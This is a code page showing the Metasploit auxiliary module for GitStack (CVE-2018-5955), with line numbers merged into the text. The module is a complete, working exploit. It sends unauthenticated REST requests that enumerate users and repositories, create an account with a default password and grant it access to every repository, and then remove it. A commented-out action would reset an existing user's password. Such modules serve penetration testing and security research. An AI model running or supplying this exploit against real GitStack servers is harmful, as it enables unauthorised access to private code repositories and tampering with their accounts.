Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/admin/http/gitstack_rest.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Exploit::Remote::HttpClient7include Msf::Auxiliary::Report89def initialize(info = {})10super(11update_info(12info,13'Name' => 'GitStack Unauthenticated REST API Requests',14'Description' => %q{15This modules exploits unauthenticated REST API requests in GitStack through v2.3.10.16The module supports requests for listing users of the application and listing17available repositories. Additionally, the module can create a user and add the user18to the application's repositories. This module has been tested against GitStack v2.3.10.19},20'Author' => [21'Kacper Szurek', # Vulnerability discovery and PoC22'Jacob Robles' # Metasploit module23],24'License' => MSF_LICENSE,25'References' => [26['CVE', '2018-5955'],27['EDB', '43777'],28['EDB', '44044']29],30'DisclosureDate' => '2018-01-15',31'Actions' => [32[33'LIST',34{35'Description' => 'List application users',36'List' => 'GET',37'UserPath' => '/rest/user/'38}39],40[41'CREATE',42{43'Description' => 'Create a user on the application',44'Create' => 'POST',45'List' => 'GET',46'UserPath' => '/rest/user/',47'RepoPath' => '/rest/repository/'48}49],50# If this is uncommented, you will be able to change an51# existing user's password.52# After modifying the user's password, the user will be53# added to all available repositories.54# The cleanup action removes the user from all repositories55# and then deletes the user... so this action may not be desirable.56# [57# 'MODIFY',58# {59# 'Description' => "Change the application user's password",60# 'Create' => 'PUT',61# 'List' => 'GET',62# 'UserPath' => '/rest/user/',63# 'RepoPath' => '/rest/repository/'64# }65# ],66[67'LIST_REPOS',68{69'Description' => 'List available repositories',70'List' => 'GET',71'RepoPath' => '/rest/repository/'72}73],74[75'CLEANUP',76{77'Description' => 'Remove user from repositories and delete user',78'List' => 'GET',79'Remove' => 'DELETE',80'RepoPath' => '/rest/repository/',81'UserPath' => '/rest/user/'82}83]84],85'DefaultAction' => 'LIST'86)87)8889register_options(90[91OptString.new('USERNAME', [false, 'User to create or modify', 'msf']),92OptString.new('PASSWORD', [false, 'Password for user', 'password'])93]94)95end9697def get_users98path = action.opts['UserPath']99begin100res = send_request_cgi({101'uri' => path,102'method' => action.opts['List']103})104rescue Rex::ConnectionError, Errno::ECONNRESET => e105print_error("Failed: #{e.class} - #{e.message}")106return107end108if res && res.code == 200109begin110mylist = res.get_json_document111mylist -= ['everyone']112rescue JSON::ParserError => e113print_error("Failed: #{e.class} - #{e.message}")114return115end116mylist.each do |item|117print_good(item.to_s)118end119end120end121122def get_repos123path = action.opts['RepoPath']124begin125res = send_request_cgi({126'uri' => path,127'method' => action.opts['List']128})129rescue Rex::ConnectionError, Errno::ECONNRESET => e130print_error("Failed: #{e.class} - #{e.message}")131return nil132end133if res && res.code == 200134begin135mylist = res.get_json_document136return mylist137rescue JSON::ParserError => e138print_error("Failed: #{e.class} - #{e.message}")139return nil140end141else142return nil143end144end145146def clean_app147user = datastore['USERNAME']148unless user149print_error('USERNAME required')150return151end152153mylist = get_repos154if mylist155# Remove user from each repository156mylist.each do |item|157path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/"158begin159res = send_request_cgi({160'uri' => path,161'method' => action.opts['Remove']162})163rescue Rex::ConnectionError, Errno::ECONNRESET => e164print_error("Failed: #{e.class} - #{e.message}")165return166end167168if res && res.code == 200169print_good(res.body.to_s)170else171print_status("User #{user} doesn't have access to #{item['name']}")172end173end174end175176# Delete the user account177path = "#{action.opts['UserPath']}#{user}/"178begin179res = send_request_cgi({180'uri' => path,181'method' => action.opts['Remove']182})183rescue Rex::ConnectionError, Errno::ECONNRESET => e184print_error("Failed: #{e.class} - #{e.message}")185return186end187188# Check if the account was successfully deleted189if res && res.code == 200190print_good(res.body.to_s)191else192print_error(res.body.to_s)193end194end195196def add_user197user = datastore['USERNAME']198pass = datastore['PASSWORD']199200begin201res = send_request_cgi({202'uri' => action.opts['UserPath'],203'method' => action.opts['Create'],204'vars_post' => {205'username' => user,206'password' => pass207}208})209rescue Rex::ConnectionError, Errno::ECONNRESET => e210print_error("Failed: #{e.class} - #{e.message}")211return212end213if res && res.code == 200214print_good("SUCCESS: #{user}:#{pass}")215else216print_error(res.body.to_s)217return218end219220mylist = get_repos221if mylist222mylist.each do |item|223path = "#{action.opts['RepoPath']}#{item['name']}/user/#{user}/"224begin225res = send_request_cgi({226'uri' => path,227'method' => action.opts['Create']228})229rescue Rex::ConnectionError, Errno::ECONNRESET => e230print_error("Failed: #{e.class} - #{e.message}")231next232end233if res && res.code == 200234print_good(res.body.to_s)235else236print_error('Failed to add user')237print_error(res.body.to_s)238end239end240else241print_error('Failed to retrieve repository list')242end243end244245def run246if ['LIST'].include?(action.name)247print_status('Retrieving Users')248get_users249elsif ['LIST_REPOS'].include?(action.name)250print_status('Retrieving Repositories')251mylist = get_repos252if mylist253mylist.each do |item|254print_good((item['name']).to_s)255end256else257print_error('Failed to retrieve repository list')258end259elsif ['CLEANUP'].include?(action.name)260clean_app261elsif datastore['USERNAME'] && datastore['PASSWORD']262add_user263else264print_error('USERNAME and PASSWORD required')265end266end267end268269270